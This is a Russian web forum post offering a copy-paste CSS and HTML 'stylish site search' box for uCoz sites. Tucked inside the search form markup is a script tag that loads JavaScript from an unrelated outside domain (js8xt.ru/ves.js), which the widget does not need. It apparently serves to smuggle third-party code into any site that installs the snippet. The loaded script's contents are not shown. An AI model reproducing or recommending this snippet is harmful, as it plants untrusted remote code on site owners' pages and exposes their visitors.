06:17
Обновить
Пятница, 27.12.2024, 06:17
Реклама
Реклама
Реклама
Место свободно
Место свободно
Место свободно
  • Страница 1 из 1
  • 1
Красивый поиск по сайту
AninewДата: Вторник, 08.05.2012, 15:53 | Сообщение # 1
Рядовой

Сообщений: ( 4 )


http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>   
#wrap-search {   
margin: 0 auto;   
width: 100px;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
text-indent: 0px;}   

#wrap-search br { display: none; }   

#wrap-search #search {   
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
border-radius: 5px;   
padding: 4px;   
}   

#wrap-search:hover { width:200px; }   

.form-search {   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
border: 1px solid #747474;   
border-radius: 3px;   
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
height: 32px;   
position: relative;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
}   

.form-search input[type='text'] {   
background: none;   
border: none;   
color:#6E7074;   
height: 34px;   
line-height: 34px;   
padding: 0 27px 0 6px;   
font-family: Helvetica, Arial, sans-serif;   
font-size: 13px;   
text-shadow: 0 1px 0 #FFF;   
}   

#wrap-search:hover input[type='text'] { color:#597C84; }   

#wrap-search:hover .form-search {   
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
color: #25464D;   
}   

.form-search input[type='image'] {   
height: 32px;   
opacity: .5;   
filter:alpha(opacity=50);   
position: absolute;   
right: 0px;   
top: 0px;   
width: 32px;   
}   

.form-search input[type='image']:hover {   
opacity: 1;   
filter:alpha(opacity=100);   
}   

</style>   

<div id="wrap-search">   
<div id="search">   
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>   
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
</form>   
</div>   
</div>
  • Страница 1 из 1
  • 1
Поиск:



Полная статистика сайта
Последние новости Самые отвечаемые темы Последние статьи Последние сообщения
Google ударит по пиратам ... 07.12.2010
Electronic Arts переходит... 07.12.2010
Поле битвы — браузеры 07.12.2010
Portal 2 опять отложили 07.12.2010
Скачал Ведьмка — иди под ... 07.12.2010
Заявка на вступление в ко... 9
Оцениваем не стисняесмя ... 2
Мини фотохостинг на вашем... 1
Мини Профиль 1
Новый мини-профиль серый 0
Словарь CSS 04.02.2010
Распрыг 04.02.2010
Что такое Steam 04.02.2010
Как создать свой сервер в... 04.02.2010
Valve Anti-Cheat (VAC) 04.02.2010
Тема Дата и Время Автор
Новый мини-профиль с... 17.06.2012 ; 14:02 Lookflaco
Радио онлайн для сай... 17.06.2012 ; 14:01 Lookflaco
Вид опроса - скрипт ... 17.06.2012 ; 14:00 Lookflaco
Красивый поиск по са... 08.05.2012 ; 15:53 Aninew
Очень красивый мини ... 08.05.2012 ; 15:53 Aninew
Прикольные флэш часы... 08.05.2012 ; 15:53 Aninew
флэш календарь 08.05.2012 ; 15:52 Aninew
Хороший изменённый м... 10.03.2012 ; 12:33 Batareyka
Поднятье страницы вв... 10.03.2012 ; 12:33 Batareyka
Мы Vконтакте.VK (ото... 10.03.2012 ; 12:32 Batareyka
Стилизация опроса uC... 10.03.2012 ; 12:32 Batareyka
Нужна помощ!!! 16.12.2010 ; 16:02 xlop4ik
Новые пользователи Активные пользователи Лучшие комментаторы
Bitfood 07.10.2013
greenpis 21.03.2013
startsmart 27.10.2012
laym 31.08.2012
Lookflaco 17.06.2012
Aninew 08.05.2012
PATRIOT 1077
---๖ۣۜDJ--- 6
Batareyka 4
Aninew 4
xlop4ik 3
Lookflaco 3
PATRIOT 12
Круис 5
0_o 1
-RUS-7 0
Red 0
Enclave 0

POS-CS.RU ©Все права защищены! Дизайн данного сайта полностью принадлежит Администратору Сайта Используются технологии uCoz Сайт оптимизирован под браузер FireFox Mozila. Sitemap | Sitemap-forum.